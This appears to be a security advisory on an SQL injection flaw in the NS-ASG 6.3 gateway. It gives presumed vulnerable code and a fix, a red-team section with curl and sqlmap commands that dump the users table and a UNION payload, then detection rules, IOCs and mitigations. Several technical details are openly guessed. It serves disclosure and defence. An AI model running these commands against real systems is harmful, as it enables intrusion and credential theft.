CVE-2024-30861

Executive Summary

CVE-2024-30861 is a critical SQL Injection vulnerability discovered in the netentsec NS-ASG application security gateway, version 6.3. The flaw resides in the /admin/configguide/ipsec_guide_1.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized access to the backend database, data exfiltration, and potential lateral movement within the network. No official patch has been released by the vendor at this time.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the nature of the vulnerability (SQL Injection in an administrative interface), the following breakdown is estimated:

• Attack Vector (AV): Network (N) – The endpoint is remotely accessible.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are within the same security authority.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the ipsec_guide_1.php script, which is part of the NS-ASG's configuration guide functionality. The script likely takes user-supplied parameters (e.g., via GET or POST requests) and directly concatenates them into SQL queries without proper sanitization or parameterization.

Root Cause:
The application fails to validate or escape input before using it in a SQL statement. For example, a parameter like id or name might be passed to the script and used in a query such as:

SELECT * FROM config WHERE id = '$_GET['id']';

An attacker can break out of the string context by injecting a single quote (') and then append malicious SQL commands.

Attack Flow:

1. The attacker sends a crafted HTTP request to /admin/configguide/ipsec_guide_1.php with a malicious payload in a parameter.
2. The payload manipulates the SQL query to return unauthorized data, bypass authentication, or execute commands.
3. The database server processes the injected query and returns results to the attacker.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following (pseudocode):

Vulnerable Code (PHP):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM ipsec_config WHERE id = '$id'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM ipsec_config WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: netentsec NS-ASG 6.3 (virtual machine or physical appliance)
• Attacker: Kali Linux with sqlmap and Burp Suite

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., id) by sending a test request:

   curl "http://target/admin/configguide/ipsec_guide_1.php?id=1'"
   

   If a SQL error is returned, the parameter is injectable.

2. Use sqlmap to automate exploitation:

   sqlmap -u "http://target/admin/configguide/ipsec_guide_1.php?id=1" --batch --dbs
   

3. Extract data from the database:

   sqlmap -u "http://target/admin/configguide/ipsec_guide_1.php?id=1" --batch -D nsasg_db --tables
   

4. Dump user credentials or configuration data:

   sqlmap -u "http://target/admin/configguide/ipsec_guide_1.php?id=1" --batch -D nsasg_db -T users --dump
   

Manual Payload Example:

http://target/admin/configguide/ipsec_guide_1.php?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10--+

Blue Team (Defensive)

Detection & Response:

• Monitor web server logs for suspicious SQL keywords in request parameters (e.g., UNION, SELECT, --, ').
• Implement a Web Application Firewall (WAF) rule to block requests containing SQL injection patterns.
• Restrict access to the /admin/ directory to trusted IP addresses only.
• Enable database query logging to detect anomalous queries.

Honeypot Strategy:

• Deploy a decoy NS-ASG instance to capture attacker techniques.
• Log all requests to /admin/configguide/ipsec_guide_1.php and analyze for injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/configguide/ipsec_guide_1.php with parameters containing SQL keywords.
• Outbound database connections from the NS-ASG to unexpected IP addresses.
• Unusual SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified or new files in the web root directory (e.g., webshells).
• Unauthorized changes to configuration files (e.g., config.php).

Log IOCs:

• Web server logs showing repeated requests with single quotes (') or double dashes (--).
• Database logs showing queries with UNION, SELECT, or INSERT statements from the web application user.

Detection Engineering

YARA Rule

rule CVE_2024_30861_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30861"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30861"
    strings:
        $sqli1 = "ipsec_guide_1.php" nocase
        $sqli2 = /id=[^&]*['\"]/ nocase
        $sqli3 = /UNION/i
        $sqli4 = /SELECT/i
        $sqli5 = /--/i
    condition:
        $sqli1 and ($sqli2 or $sqli3 or $sqli4 or $sqli5)
}

Sigma Rule

title: CVE-2024-30861 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against netentsec NS-ASG ipsec_guide_1.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "ipsec_guide_1.php"
        cs-uri-query|re: 
            - "'.*--"
            - "UNION.*SELECT"
            - "OR.*1=1"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30861 SQL Injection Attempt"; flow:to_server; content:"/admin/configguide/ipsec_guide_1.php"; http_uri; pcre:"/(id|name|value)=[^&]*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the NS-ASG appliance from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Disable the /admin/configguide/ipsec_guide_1.php endpoint if not required.
3. Apply virtual patching via a WAF to block SQL injection patterns.

Long-Term Fix:

• The vendor (netentsec) must release a security patch that implements parameterized queries or prepared statements.
• If no patch is forthcoming, consider replacing the NS-ASG with an alternative solution.

Workaround:

• Modify the web server configuration to require authentication for the /admin/ directory.
• Use a reverse proxy to inspect and sanitize all requests to the vulnerable endpoint.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert